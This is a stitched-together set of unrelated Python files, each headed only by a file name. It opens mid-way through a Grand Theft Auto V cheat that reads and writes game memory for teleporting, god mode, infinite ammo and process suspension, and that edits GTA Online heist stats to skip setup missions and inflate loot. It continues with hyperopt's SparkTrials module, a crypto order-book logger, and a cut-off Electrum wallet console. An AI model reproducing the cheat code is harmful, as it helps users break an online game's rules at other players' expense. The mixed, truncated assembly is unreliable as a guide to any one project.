"""ๆŒ‚่ตท่ฟ›็จ‹ๅกๅ•ไบบๅ…ฌๅผ€ๆˆ˜ๅฑ€\n t:float ็ง’้’Ÿ """ self.handle.suspend_process() sleep(t) self.handle.resume_process() @property def navigation_location(self): """่Žทๅ–ๅฏผ่ˆชๅฎšไฝๅบงๆ ‡\n return tunple[float,float,float]:(x, y ,z) """ for i in range(2000): addr = self.handle.readMemoryValue(self.handle.addrProcess + self.offset.BLIP_OFFSET + i * 8, ctypes.c_ulonglong(), 8) if addr <= 0: continue else: if self.handle.readMemoryValue(addr + 0x40) == 0x8 and self.handle.readMemoryValue(addr + 0x48, ctypes.c_byte()) == 0x54: x = self.handle.readMemoryValue(addr + 0x10, ctypes.c_float()) y = self.handle.readMemoryValue(addr + 0x14, ctypes.c_float()) z = self.handle.readMemoryValue(addr + 0x18, ctypes.c_float()) return (x, y, z) return (64000.0, 64000.0, 64000.0) def navigation_teleport(self): """ๅฏผ่ˆชไผ ้€""" self.teleport(self.navigation_location) @property def target_location(self): """่Žทๅ–ไปปๅŠก็‚นๅบงๆ ‡\n return tunple[float,float,float]:(x, y ,z) """ for i in range(2000): addr = self.handle.readMemoryValue(self.handle.addrProcess + self.offset.BLIP_OFFSET + i * 8, ctypes.c_ulonglong(), 8) if addr <= 0: continue else: buf0 = self.handle.readMemoryValue(addr + 0x40) buf1 = self.handle.readMemoryValue(addr + 0x48, ctypes.c_byte()) if buf0 == 1 and (buf1 == 5 or buf1 == 60 or buf1 == 66): x = self.handle.readMemoryValue(addr + 0x10, ctypes.c_float()) y = self.handle.readMemoryValue(addr + 0x14, ctypes.c_float()) z = self.handle.readMemoryValue(addr + 0x18, ctypes.c_float()) return (x, y, z) return (64000.0, 64000.0, 64000.0) def target_teleport(self): """็›ฎๆ ‡้ป„็‚นไผ ้€""" self.teleport(self.target_location) def teleport(self, pos: tuple): """ๅบงๆ ‡ไผ ้€""" (x, y, z) = pos if (x, y, z) == (64000.0, 64000.0, 64000.0): return None try: z = -255.0 + 0.5 if z == 20.0 else z + 0.5 if self.player.in_vehicle is True: self.vehicle.location = (x, y, z) else: self.player.location = (x, y, z) self.gtavpublic.location = (x, y, z) except Exception as e: logging.warning(e) return None def forward(self): """ๅ‘ๅ‰็งปๅŠจ""" if self.player.in_vehicle is True: return None heading0 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x20)), ctypes.c_float()) heading1 = self.handle.readMemoryValue(self.handle.getMemoryAddress((self.offset.WORLD_OFFSET, 0x8, 0x30, 0x30)), ctypes.c_float()) x, y, z = self.player.location x = x + heading1 * 2.5 y = y + heading0 * 2.5 try: self.player.location = (x, y, z) self.gtavpublic.location = (x, y, z) except Exception as e: logging.error(e) sys.exit() def set_ammo_type(self, value: int): """่ฎพ็ฝฎๅญๅผน็ฑปๅž‹\n value int: -1 ้ป˜่ฎค| 18 MK2็ˆ†็‚ธๅญๅผน """ address0 = self.readPointer([self.offset.WORLD_OFFSET, 0x8, 0x10D8, 0x20, 0x24]) address1 = address0 - 4 impact = 5 if value == 18 else 3 self.write(address1, ctypes.c_byte(impact), 2) self.write(address0, ctypes.c_int(value)) def set_full_ammo(self): """่กฅๅ……ๅฝ“ๅ‰ๆžชๆขฐๆญฆๅ™จๅผน่ฏ\n ไธ่ฆๅญๅผนๆ•ฐ้‡ๅœจๆŒ็ปญๅ˜ๅŒ–ไธญ """ address0 = self.readPointer([self.offset.WORLD_OFFSET, 0x8, 0x50, 0x48, 0x8, 0x180, 0x2E0, 0x54]) if self.read(address0) == 0: return None address1 = address0 + 2 def add_ammo(): for i in range(100): self.write(address1, ctypes.c_uint(9999), 2) self.write(address0, ctypes.c_uint(9999), 2) self.threadPool.submit(add_ammo) @withThread def refresh_data(self): """ๆ›ดๆ–ฐ็Šถๆ€ๆ•ฐๆฎ""" # return None if self.player.maxLife < 200 or self.player.maxLife > 328: logging.warning("ๆœ€ๅคง่ก€้‡ไธๅœจ200-328่Œƒๅ›ดๅ†…๏ผŒๅฏ่ƒฝ็‰ˆๆœฌๅŸบๅ€่ฟ‡ๆ—ง๏ผŒๆœ€ๅฅฝไธ่ฆไฝฟ็”จใ€‚") sys.exit() try: while True: if self.data.auto_cure is True: self.player.life = self.player.maxLife self.player.vest = 50 self.player.seatbelt = self.data.seatbelt # ๅฎ‰ๅ…จๅธฆ if self.data.antiAFK is True: # ๆŒ‚ๆœบ้˜ฒ่ธข self.gtavpublic.anti_afk() self.player.god_mode = self.data.god_mode # ๆ— ๆ•Œ่‡ชๆฃ€ sleep(0.1) except Exception as e: logging.error(e) sys.exit() def apartment_heist(self): """่ทณ่ฟ‡ๅ…ฌๅฏ“ๆŠขๅŠซไปปๅŠกๅ‰็ฝฎ""" self.hax.stat_value("MPx_HEIST_PLANNING_STAGE", -1) # ่ทณ่ฟ‡ๅ‡†ๅค‡ๅ‰็ฝฎ 4ไบบๅผ€ๅง‹่ฟ›ๅ…ฅๅŠจ็”ปๅŽ่งฆๅ‘็”Ÿๆ•ˆ def doomsday_cooldown(self): """ๆœซๆ—ฅ3ๅ†ทๅด""" self.hax.stat_value("MPx_HEISTCOOLDOWNTIMER2", -1) # ๆœซๆ—ฅ3ๅ†ทๅด def doomsday(self): """่ทณ่ฟ‡ๆœซๆ—ฅๅ‰็ฝฎ""" self.hax.stat_value("MPx_GANGOPS_FLOW_MISSION_PROG", -1) # ่ทณ่ฟ‡ๅ‰็ฝฎ๏ผŒM-่ฎพๆ–ฝ็ฎก็†-ๅ…ณ้—ญๅŽๅผ€ๅฏๆŠขๅŠซ็ญ–ๅˆ’ๅคงๅฑ def casino(self): """่ตŒๅœบ่ฑชๅŠซ""" self.hax.stat_value("MPx_H3OPT_TARGET", 3) # ็›ฎๆ ‡้’ป็Ÿณ def perico(self): """ไฝฉ้‡Œๅ…‹ๅฒ›่ฑชๅŠซ""" stats = ( ("MPx_H4CNF_BOLTCUT", 6276), # ่žบๆ “ๅˆ‡ๅ‰ฒๅ™จ ("MPx_H4CNF_UNIFORM", 4386), # ไฟๅฎ‰ๆœ ("MPx_H4CNF_GRAPPEL", 16936), # ๆŠ“้’ฉ ("MPx_H4CNF_TROJAN", 1), # ๅก่ฝฆ ("MPx_H4LOOT_CASH_I", 0), ("MPx_H4LOOT_CASH_I_SCOPED", 0), ("MPx_H4LOOT_CASH_C", 0), ("MPx_H4LOOT_CASH_C_SCOPED", 0), ("MPx_H4LOOT_COKE_I", 0), ("MPx_H4LOOT_COKE_I_SCOPED", 0), ("MPx_H4LOOT_COKE_C", 0), ("MPx_H4LOOT_COKE_C_SCOPED", 0), ("MPx_H4LOOT_GOLD_I", 16777215), ("MPx_H4LOOT_GOLD_I_SCOPED", 16777215), ("MPx_H4LOOT_GOLD_C", 255), ("MPx_H4LOOT_GOLD_C_SCOPED", 255), ("MPx_H4LOOT_WEED_I", 0), ("MPx_H4LOOT_WEED_I_SCOPED", 0), ("MPx_H4LOOT_WEED_C", 0), ("MPx_H4LOOT_WEED_C_SCOPED", 0), ("MPx_H4LOOT_PAINT", 0), ("MPx_H4LOOT_PAINT_SCOPED", 0), ("MPx_H4CNF_TARGET", 5), # ไธป่ฆ็›ฎๆ ‡่ฎพไธบ็ŒŽ่ฑน้›•ๅƒ ("MPx_H4_PROGRESS", 131055), # ๅ›ฐ้šพๆจกๅผ ) for tp in stats: self.hax.stat_value(tp[0], tp[1]) if __name__ == "__main__": logging.basicConfig(format="%(asctime)s,%(levelname)s,%(module)s,%(funcName)s,%(lineno)d,%(message)s") gta = GTAV() # gta.player.life = 0 # gta.player.god_mode = True # ๆ— ๆ•Œๆจกๅผ # gta.player.generate_vehicle("lazer")
spark.py
from __future__ import print_function import copy import numbers import threading import time import timeit from hyperopt import base, fmin, Trials from hyperopt.utils import coarse_utcnow, _get_logger, _get_random_id try: from pyspark.sql import SparkSession _have_spark = True except ImportError as e: _have_spark = False logger = _get_logger('hyperopt-spark') class SparkTrials(Trials): """ Implementation of hyperopt.Trials supporting distributed execution using Apache Spark clusters. This requires fmin to be run on a Spark cluster. Plugging SparkTrials into hyperopt.fmin() allows hyperopt to send model training and evaluation tasks to Spark workers, parallelizing hyperparameter search. Each trial (set of hyperparameter values) is handled within a single Spark task; i.e., each model will be fit and evaluated on a single worker machine. Trials are run asynchronously. See hyperopt.Trials docs for general information about Trials. The fields we store in our trial docs match the base Trials class. The fields include: - 'tid': trial ID - 'state': JOB_STATE_DONE, JOB_STATE_ERROR, etc. - 'result': evaluation result for completed trial run - 'refresh_time': timestamp for last status update - 'misc': includes: - 'error': (error type, error message) - 'book_time': timestamp for trial run start """ asynchronous = True # Hard cap on the number of concurrent hyperopt tasks (Spark jobs) to run. Set at 128. MAX_CONCURRENT_JOBS_ALLOWED = 128 def __init__(self, parallelism=None, timeout=None, spark_session=None): """ :param parallelism: Maximum number of parallel trials to run, i.e., maximum number of concurrent Spark tasks. If set to None or and invalid value, this will be set to the number of executors in your Spark cluster. Hard cap at `MAX_CONCURRENT_JOBS_ALLOWED`. Default: None (= number of Spark executors). :param timeout: Maximum time (in seconds) which fmin is allowed to take. If this timeout is hit, then fmin will cancel running and proposed trials. It will retain all completed trial runs and return the best result found so far. :param spark_session: A SparkSession object. If None is passed, SparkTrials will attempt to use an existing SparkSession or create a new one. SparkSession is the entry point for various facilities provided by Spark. For more information, visit the documentation for PySpark. """ super(SparkTrials, self).__init__(exp_key=None, refresh=False) if not _have_spark: raise Exception("SparkTrials cannot import pyspark classes. Make sure that PySpark " "is available in your environment. E.g., try running 'import pyspark'") if timeout is not None and (not isinstance(timeout, numbers.Number) or timeout <= 0 or isinstance(timeout, bool)): raise Exception("The timeout argument should be None or a positive value. " "Given value: {timeout}".format(timeout=timeout)) self._spark = SparkSession.builder.getOrCreate() if spark_session is None \ else spark_session self._spark_context = self._spark.sparkContext # The feature to support controlling jobGroupIds is in SPARK-22340 self._spark_supports_job_cancelling = hasattr(self._spark_context.parallelize([1]), "collectWithJobGroup") # maxNumConcurrentTasks() is a package private API max_num_concurrent_tasks = self._spark_context._jsc.sc().maxNumConcurrentTasks() self.parallelism = self._decide_parallelism(max_num_concurrent_tasks, parallelism) if not self._spark_supports_job_cancelling and timeout is not None: logger.warning( "SparkTrials was constructed with a timeout specified, but this Apache " "Spark version does not support job group-based cancellation. The timeout will be " "respected when starting new Spark jobs, but SparkTrials will not be able to " "cancel running Spark jobs which exceed the timeout.") self.timeout = timeout self._fmin_cancelled = False self._fmin_cancelled_reason = None self.refresh() @staticmethod def _decide_parallelism(max_num_concurrent_tasks, parallelism): """ Given the user-set value of parallelism, return the value SparkTrials will actually use. See the docstring for `parallelism` in the constructor for expected behavior. """ if max_num_concurrent_tasks == 0: raise Exception("There are no available spark executors. " "Add workers to your Spark cluster to use SparkTrials.") if parallelism is None: parallelism = max_num_concurrent_tasks elif parallelism <= 0: logger.warning("User-specified parallelism was invalid value ({p}), so parallelism will" " be set to max_num_concurrent_tasks ({c})." .format(p=parallelism, c=max_num_concurrent_tasks)) parallelism = max_num_concurrent_tasks elif parallelism > max_num_concurrent_tasks: logger.warning("User-specified parallelism ({p}) is greater than " "max_num_concurrent_tasks ({c}), so parallelism will be set to " "max_num_concurrent_tasks." .format(p=parallelism, c=max_num_concurrent_tasks)) parallelism = max_num_concurrent_tasks if parallelism > SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED: logger.warning("Parallelism ({p}) is being decreased to the hard cap of " "SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED ({c})" .format(p=parallelism, c=SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED)) parallelism = SparkTrials.MAX_CONCURRENT_JOBS_ALLOWED return parallelism def count_successful_trials(self): """ Returns the current number of trials which ran successfully """ return self.count_by_state_unsynced(base.JOB_STATE_DONE) def count_failed_trials(self): """ Returns the current number of trial runs which failed """ return self.count_by_state_unsynced(base.JOB_STATE_ERROR) def count_cancelled_trials(self): """ Returns the current number of cancelled trial runs. This covers trials which are cancelled from exceeding the timeout. """ return self.count_by_state_unsynced(base.JOB_STATE_CANCEL) def count_total_trials(self): """ Returns the current number of all successful, failed, and cancelled trial runs """ total_states = [base.JOB_STATE_DONE, base.JOB_STATE_ERROR, base.JOB_STATE_CANCEL] return self.count_by_state_unsynced(total_states) def delete_all(self): """ Reset the Trials to init state """ super(SparkTrials, self).delete_all() self._fmin_cancelled = False self._fmin_cancelled_reason = None def trial_attachments(self, trial): raise NotImplementedError("SparkTrials does not support trial attachments.") def fmin(self, fn, space, algo, max_evals, max_queue_len, rstate, verbose, pass_expr_memo_ctrl, catch_eval_exceptions, return_argmin, show_progressbar, ): """ This should not be called directly but is called via :func:`hyperopt.fmin` Refer to :func:`hyperopt.fmin` for docs on each argument """ assert not pass_expr_memo_ctrl, "SparkTrials does not support `pass_expr_memo_ctrl`" assert not catch_eval_exceptions, "SparkTrials does not support `catch_eval_exceptions`" state = _SparkFMinState(self._spark, fn, space, self) # Will launch a dispatcher thread which runs each trial task as one spark job. state.launch_dispatcher() try: res = fmin(fn, space, algo, max_evals, max_queue_len=max_queue_len, trials=self, allow_trials_fmin=False, # -- prevent recursion rstate=rstate, pass_expr_memo_ctrl=None, # not support catch_eval_exceptions=catch_eval_exceptions, verbose=verbose, return_argmin=return_argmin, points_to_evaluate=None, # not support show_progressbar=show_progressbar) except BaseException as e: logger.debug("fmin thread exits with an exception raised.") raise e else: logger.debug("fmin thread exits normally.") return res finally: state.wait_for_all_threads() logger.info("Total Trials: {t}: {s} succeeded, {f} failed, {c} cancelled.".format( t=self.count_total_trials(), s=self.count_successful_trials(), f=self.count_failed_trials(), c=self.count_cancelled_trials() )) class _SparkFMinState: """ Class for managing threads which run concurrent Spark jobs. This maintains a primary dispatcher thread, plus 1 thread per Hyperopt trial. Each trial's thread runs 1 Spark job with 1 task. """ # definition of a long-running trial, configurable here for testing purposes _LONG_TRIAL_DEFINITION_SECONDS = 60 def __init__(self, spark, eval_function, space, trials): self.spark = spark self.eval_function = eval_function self.space = space self.trials = trials self._fmin_done = False self._dispatcher_thread = None self._task_threads = set() if self.trials._spark_supports_job_cancelling: spark_context = spark.sparkContext self._job_group_id = spark_context.getLocalProperty("spark.jobGroup.id") self._job_desc = spark_context.getLocalProperty("spark.job.description") interrupt_on_cancel = spark_context.getLocalProperty("spark.job.interruptOnCancel") if interrupt_on_cancel is None: self._job_interrupt_on_cancel = False else: self._job_interrupt_on_cancel = "true" == interrupt_on_cancel.lower() # In certain Spark deployments, the local property "spark.jobGroup.id" value is None, # so we create one to use for SparkTrials. if self._job_group_id is None: self._job_group_id = "Hyperopt_SparkTrials_" + _get_random_id() if self._job_desc is None: self._job_desc = "Trial evaluation jobs launched by hyperopt fmin" logger.debug("Job group id: {g}, job desc: {d}, job interrupt on cancel: {i}" .format(g=self._job_group_id, d=self._job_desc, i=self._job_interrupt_on_cancel)) def running_trial_count(self): return self.trials.count_by_state_unsynced(base.JOB_STATE_RUNNING) @staticmethod def _begin_trial_run(trial): trial['state'] = base.JOB_STATE_RUNNING now = coarse_utcnow() trial['book_time'] = now trial['refresh_time'] = now logger.debug("trial task {tid} started".format(tid=trial['tid'])) def _finish_trial_run(self, is_success, is_cancelled, trial, data): """ Call this method when a trial evaluation finishes. It will save results to the trial object and update task counters. :param is_success: whether the trial succeeded :param is_cancelled: whether the trial was cancelled :param data: If the trial succeeded, this is the return value from the trial task function. Otherwise, this is the exception raised when running the trial task. """ if is_cancelled: logger.debug("trial task {tid} cancelled, exception is {e}" .format(tid=trial['tid'], e=str(data))) self._write_cancellation_back(trial, e=data) elif is_success: logger.debug("trial task {tid} succeeded, result is {r}" .format(tid=trial['tid'], r=data)) self._write_result_back(trial, result=data) else: logger.debug("trial task {tid} failed, exception is {e}" .format(tid=trial['tid'], e=str(data))) self._write_exception_back(trial, e=data) def launch_dispatcher(self): def run_dispatcher(): start_time = timeit.default_timer() last_time_trials_finished = start_time spark_task_maxFailures = int(self.spark.conf.get('spark.task.maxFailures', '4')) # When tasks take a long time, it can be bad to have Spark retry failed tasks. # This flag lets us message the user once about this issue if we find that tasks # are taking a long time to finish. can_warn_about_maxFailures = spark_task_maxFailures > 1 while not self._fmin_done: new_tasks = self._poll_new_tasks() for trial in new_tasks: self._run_trial_async(trial) cur_time = timeit.default_timer() elapsed_time = cur_time - start_time if len(new_tasks) > 0: last_time_trials_finished = cur_time # In the future, timeout checking logic could be moved to `fmin`. # For now, timeouts are specific to SparkTrials. # When a timeout happens: # - Set `trials._fmin_cancelled` flag to be True. # - FMinIter checks this flag and exits if it is set to True. if self.trials.timeout is not None and elapsed_time > self.trials.timeout and\ not self.trials._fmin_cancelled: self.trials._fmin_cancelled = True self.trials._fmin_cancelled_reason = "fmin run timeout" self._cancel_running_trials() logger.warning("fmin cancelled because of " + self.trials._fmin_cancelled_reason) if can_warn_about_maxFailures and cur_time - last_time_trials_finished \ > _SparkFMinState._LONG_TRIAL_DEFINITION_SECONDS: logger.warning( "SparkTrials found that the Spark conf 'spark.task.maxFailures' is set to " "{maxFailures}, which will make trials re-run automatically if they fail. " "If failures can occur from bad hyperparameter settings, or if trials are " "very long-running, then retries may not be a good idea. " "Consider setting `spark.conf.set('spark.task.maxFailures', '1')` to " "prevent retries.".format(maxFailures=spark_task_maxFailures)) can_warn_about_maxFailures = False time.sleep(1) if self.trials._fmin_cancelled: # Because cancelling fmin triggered, warn that the dispatcher won't launch # more trial tasks. logger.warning("fmin is cancelled, so new trials will not be launched.") logger.debug("dispatcher thread exits normally.") self._dispatcher_thread = threading.Thread(target=run_dispatcher) self._dispatcher_thread.setDaemon(True) self._dispatcher_thread.start() @staticmethod def _get_spec_from_trial(trial): return base.spec_from_misc(trial['misc']) @staticmethod def _write_result_back(trial, result): trial['state'] = base.JOB_STATE_DONE trial['result'] = result trial['refresh_time'] = coarse_utcnow() @staticmethod def _write_exception_back(trial, e): trial['state'] = base.JOB_STATE_ERROR trial['misc']['error'] = (str(type(e)), str(e)) trial['refresh_time'] = coarse_utcnow() @staticmethod def _write_cancellation_back(trial, e): trial['state'] = base.JOB_STATE_CANCEL trial['misc']['error'] = (str(type(e)), str(e)) trial['refresh_time'] = coarse_utcnow() def _run_trial_async(self, trial): def run_task_thread(): local_eval_function, local_space = self.eval_function, self.space params = self._get_spec_from_trial(trial) def run_task_on_executor(_): domain = base.Domain(local_eval_function, local_space, pass_expr_memo_ctrl=None) result = domain.evaluate(params, ctrl=None, attach_attachments=False) yield result try: worker_rdd = self.spark.sparkContext.parallelize([0], 1) if self.trials._spark_supports_job_cancelling: result = worker_rdd.mapPartitions(run_task_on_executor).collectWithJobGroup( self._job_group_id, self._job_desc, self._job_interrupt_on_cancel )[0] else: result = worker_rdd.mapPartitions(run_task_on_executor).collect()[0] except BaseException as e: # I recommend to catch all exceptions here, it can make the program more robust. # There're several possible reasons lead to raising exception here. # so I use `except BaseException` here. # # If cancelled flag is set, it represent we need to cancel all running tasks, # Otherwise it represent the task failed. self._finish_trial_run(is_success=False, is_cancelled=self.trials._fmin_cancelled, trial=trial, data=e) logger.debug("trial {tid} task thread catches an exception and writes the " "info back correctly." .format(tid=trial['tid'])) else: self._finish_trial_run(is_success=True, is_cancelled=self.trials._fmin_cancelled, trial=trial, data=result) logger.debug("trial {tid} task thread exits normally and writes results " "back correctly." .format(tid=trial['tid'])) task_thread = threading.Thread(target=run_task_thread) task_thread.setDaemon(True) task_thread.start() self._task_threads.add(task_thread) def _poll_new_tasks(self): new_task_list = [] for trial in copy.copy(self.trials.trials): if trial['state'] == base.JOB_STATE_NEW: # check parallelism limit if self.running_trial_count() >= self.trials.parallelism: break new_task_list.append(trial) self._begin_trial_run(trial) return new_task_list def _cancel_running_trials(self): if self.trials._spark_supports_job_cancelling: logger.debug("Cancelling all running jobs in job group {g}" .format(g=self._job_group_id)) self.spark.sparkContext.cancelJobGroup(self._job_group_id) # Make a copy of trials by slicing for trial in self.trials.trials[:]: if trial['state'] in [base.JOB_STATE_NEW, base.JOB_STATE_RUNNING]: trial['state'] = base.JOB_STATE_CANCEL else: logger.info("Because the current Apache PySpark version does not support " "cancelling jobs by job group ID, SparkTrials will block until all of " "its running Spark jobs finish.") def wait_for_all_threads(self): """ Wait for the dispatcher and worker threads to finish. :param cancel_running_trials: If true, try to cancel all running trials. """ self._fmin_done = True self._dispatcher_thread.join() self._dispatcher_thread = None for task_thread in self._task_threads: task_thread.join() self._task_threads.clear()
ob_logger.py
import json import pymongo import sys import time from bot_utils import get_data, get_pairs, save_to_mongo from multiprocessing import Process MIN_TIME = 30 old_stdout = sys.stdout def mini_logger(symbol, conf, limit, auth_string, db_name, exchanges): print("I've started: {}".format(symbol)) client = pymongo.MongoClient(auth_string) # defaults to port 27017 db = client[db_name] pairs = get_pairs([symbol], conf, limit, exchanges) while True: start_time = time.time() data = get_data(pairs, conf, limit) save_to_mongo(data, db) time_taken = time.time() - start_time if time_taken < MIN_TIME: time.sleep(MIN_TIME - time_taken) print('\t#Reading configuration file') mongo_config = json.load(open('logger_config.json')) conf = json.load(open(mongo_config['orders_config'])) limit = mongo_config['limit'] symbols = mongo_config['symbols'] exchanges = mongo_config['exchanges'] auth_string = mongo_config['auth_string'] db_name = mongo_config['database'] # print('\t#Connecting to Mongo') # client = pymongo.MongoClient(auth_string) # defaults to port 27017 # client.drop_database(db_name) print('\t#Starting processes') for sym in symbols: p = Process(target=mini_logger, args=(sym, conf, limit, auth_string, db_name, exchanges)) p.start() time.sleep(0.3) exit(0)
console.py
from __future__ import absolute_import, division, print_function import asyncio import copy import json import logging import os import random import string import threading import time from code import InteractiveConsole from decimal import Decimal from enum import Enum from os.path import exists, join from eth_account import Account from eth_keys import keys from hexbytes import HexBytes from mnemonic import Mnemonic from trezorlib.customer_ui import CustomerUI from electrum import MutiBase, bitcoin, commands, constants, daemon, ecc, keystore, paymentrequest, simple_config, util from electrum.address_synchronizer import TX_HEIGHT_FUTURE, TX_HEIGHT_LOCAL from electrum.bip32 import BIP32Node from electrum.bip32 import convert_bip32_path_to_list_of_uint32 as parse_path from electrum.bip32 import get_uncompressed_key from electrum.bitcoin import COIN, base_decode, is_address from electrum.constants import read_json from electrum.eth_wallet import Eth_Wallet, Imported_Eth_Wallet, Standard_Eth_Wallet from electrum.i18n import _, set_language from electrum.interface import ServerAddr from electrum.keystore import ( Hardware_KeyStore, Imported_KeyStore, bip44_derivation, bip44_eth_derivation, purpose48_derivation, ) from electrum.mnemonic import Wordlist from electrum.network import BestEffortRequestFailed, TxBroadcastError from electrum.plugin import Plugins from electrum.pywalib import InvalidValueException, PyWalib from electrum.storage import WalletStorage # from electrum.plugins.trezor.clientbase import TrezorClientBase from electrum.transaction import PartialTransaction, PartialTxOutput, SerializationError, Transaction, tx_from_any from electrum.util import ( DecimalEncoder, DerivedWalletLimit, FailedGetTx, Fiat, FileAlreadyExist, InvalidBip39Seed, InvalidPassword, NotEnoughFunds, NotEnoughFundsStr, NotSupportExportSeed, ReplaceWatchonlyWallet, Ticker, UnavaiableHdWallet, UnavailableBtcAddr, UnavailableEthAddr, UnavailablePrivateKey, UnavailablePublicKey, UnsupportedCurrencyCoin, UserCancel, bfh, create_and_start_event_loop, ) from electrum.util import user_dir as get_dir from electrum.wallet import Imported_Wallet, Standard_Wallet, Wallet from electrum.wallet_db import WalletDB from electrum_gui.common import the_begging from electrum_gui.android import hardware from .create_wallet_info import CreateWalletInfo from .derived_info import DerivedInfo from .tx_db import TxDb log_info = logging.getLogger(__name__) IS_ANDROID = True if "iOS_DATA" in os.environ: from .ioscallback import CallHandler IS_ANDROID = False PURPOSE_POS = 1 ACCOUNT_POS = 3 INDEX_POS = 5 BTC_BLOCK_INTERVAL_TIME = 10 DEFAULT_ADDR_TYPE = 49 ticker = None class Status(Enum): net = 1 broadcast = 2 sign = 3 update_wallet = 4 update_status = 5 update_history = 6 update_interfaces = 7 create_wallet_error = 8 class AndroidConsole(InteractiveConsole): """`interact` must be run on a background thread, because it blocks waiting for input.""" def __init__(self, app, cmds): namespace = dict(c=cmds, context=app) namespace.update({name: CommandWrapper(cmds, name) for name in all_commands}) namespace.update(help=Help()) InteractiveConsole.__init__(self, locals=namespace) def interact(self): try: InteractiveConsole.interact( self, banner=( _("WARNING!") + "\n" + _( "Do not enter code here that you don't understand. Executing the wrong " "code could lead to your coins being irreversibly lost." ) + "\n" + "Type 'help' for available commands and variables." ), ) except SystemExit: pass class CommandWrapper: def __init__(self, cmds, name): self.cmds = cmds self.name = name def __call__(self, *args, **kwargs): return getattr(self.cmds, self.name)(*args, **kwargs) class Help: def __repr__(self): return self.help() def __call__(self, *args): print(self.help(*args)) def help(self, name_or_wrapper=None): if name_or_wrapper is None: return ( "Commands:\n" + "\n".join(f" {cmd}" for name, cmd in sorted(all_commands.items())) + "\nType help(<command>) for more details.\n" "The following variables are also available: " "c.config, c.daemon, c.network, c.wallet, context" ) else: if isinstance(name_or_wrapper, CommandWrapper): cmd = all_commands[name_or_wrapper.name] else: cmd = all_commands[name_or_wrapper] return f"{cmd}\n{cmd.description}" def verify_address(address) -> bool: return is_address(address, net=constants.net) def verify_xpub(xpub: str) -> bool: return keystore.is_bip32_key(xpub) # Adds additional commands which aren't available over JSON RPC. class AndroidCommands(commands.Commands): _recovery_flag = True def __init__(self, android_id=None, config=None, user_dir=None, callback=None, chain_type="mainnet"): self.asyncio_loop, self._stop_loop, self._loop_thread = create_and_start_event_loop() # TODO:close loop self.config = self.init_config(config=config) if user_dir is None: self.user_dir = get_dir() else: self.user_dir = user_dir fd = daemon.get_file_descriptor(self.config) if not fd: raise BaseException(("Daemon already running, Don't start the wallet repeatedly")) set_language(self.config.get("language", "zh_CN")) # Initialize here rather than in start() so the DaemonModel has a chance to register # its callback before the daemon threads start. self.daemon = daemon.Daemon(self.config, fd) self.coins = read_json("eth_servers.json", {}) if constants.net.NET == "Bitcoin": chain_type = "mainnet" else: chain_type = "testnet" self.pywalib = PyWalib(self.config, chain_type=chain_type, path=self._tx_list_path(name="tx_info.db")) self.txdb = TxDb(path=self._tx_list_path(name="tx_info.db")) self.pywalib.set_server(self.coins["eth"]) self.network = self.daemon.network self.daemon_running = False self.wizard = None self.plugin = Plugins(self.config, "cmdline") self.label_plugin = self.plugin.load_plugin("labels") self.label_flag = self.config.get("use_labels", False) self.callbackIntent = None self.hd_wallet = None self.check_pw_wallet = None self.wallet = None self.client = None self.recovery_wallets = {} self.path = "" self.backup_info = self.config.get("backupinfo", {}) self.derived_info = self.config.get("derived_info", dict()) self.replace_wallet_info = {} ran_str = self.config.get("ra_str", None) if ran_str is None: ran_str = "".join(random.sample(string.ascii_letters + string.digits, 8)) self.config.set_key("ra_str", ran_str) self.android_id = android_id + ran_str self.init_local_wallet_info() if self.network: interests = [ "wallet_updated", "network_updated", "blockchain_updated", "status", "new_transaction", "verified", "set_server_status", ] util.register_callback(self.on_network_event, interests) util.register_callback(self.on_fee, ["fee"]) # self.network.register_callback(self.on_fee_histogram, ['fee_histogram']) util.register_callback(self.on_quotes, ["on_quotes"]) util.register_callback(self.on_history, ["on_history"]) self.fiat_unit = self.daemon.fx.ccy if self.daemon.fx.is_enabled() else "" self.decimal_point = self.config.get("decimal_point", util.DECIMAL_POINT_DEFAULT) self.hw_info = {} for k, v in util.base_units_inverse.items(): if k == self.decimal_point: self.base_unit = v self.old_history_len = 0 self.old_history_info = [] self.num_zeros = int(self.config.get("num_zeros", 0)) self.config.set_key("log_to_file", True, save=True) self.rbf = self.config.get("use_rbf", True) self.ccy = self.daemon.fx.get_currency() self.pre_balance_info = "" self.addr_index = 0 self.rbf_tx = "" self.m = 0 self.n = 0 self.config.set_key("auto_connect", True, True) global ticker ticker = Ticker(5.0, self.ticker_action) ticker.start() if IS_ANDROID: if callback is not None: self.set_callback_fun(callback) else: self.my_handler = CallHandler.alloc().init() self.set_callback_fun(self.my_handler) self.start_daemon() self.get_block_info() the_begging.initialize() self.trezor_manager = hardware.TrezorManager(self.plugin) def __getattr__(self, name): if name in self.trezor_manager.exposed_commands: return getattr(self.trezor_manager, name) raise AttributeError def init_config(self, config=None): config_options = {} config_options["auto_connect"] = True if config is None: out_config = simple_config.SimpleConfig(config_options) else: out_config = config return out_config def set_language(self, language): """ Set the language of error messages displayed to users :param language: zh_CN/en_UK as string """ set_language(language) self.config.set_key("language", language) # BEGIN commands from the argparse interface. def stop_loop(self): self.asyncio_loop.call_soon_threadsafe(self._stop_loop.set_result, 1) self._loop_thread.join(timeout=1) def update_local_wallet_info(self, name, wallet_type): wallet_info = {} wallet_info["type"] = wallet_type wallet_info["time"] = time.time() # wallet_info['xpubs'] = keystores wallet_info["seed"] = "" self.local_wallet_info[name] = wallet_info self.config.set_key("all_wallet_type_info", self.local_wallet_info) def init_local_wallet_info(self): try: self.local_wallet_info = self.config.get("all_wallet_type_info", {}) new_wallet_info = {} name_wallets = [name for name in os.listdir(self._wallet_path())] for name, info in self.local_wallet_info.items(): if name_wallets.__contains__(name): if not info.__contains__("time"): info["time"] = time.time() if not info.__contains__("xpubs"): info["xpubs"] = [] # if not info.__contains__('seed'): info["seed"] = "" new_wallet_info[name] = info self.local_wallet_info = new_wallet_info self.config.set_key("all_wallet_type_info", self.local_wallet_info) except BaseException as e: raise e def on_fee(self, event, *arg): try: self.fee_status = self.config.get_fee_status() except BaseException as e: raise e # def on_fee_histogram(self, *args): # self.update_history() def on_quotes(self, d): if self.wallet is not None: self.update_status() # self.update_history() def on_history(self, d): if self.wallet: self.wallet.clear_coin_price_cache() # self.update_history() def update_status(self): if not self.wallet: return coin = self._detect_wallet_coin(self.wallet) address = self.wallet.get_addresses()[0] out = dict() if coin in self.coins: # eth base address = 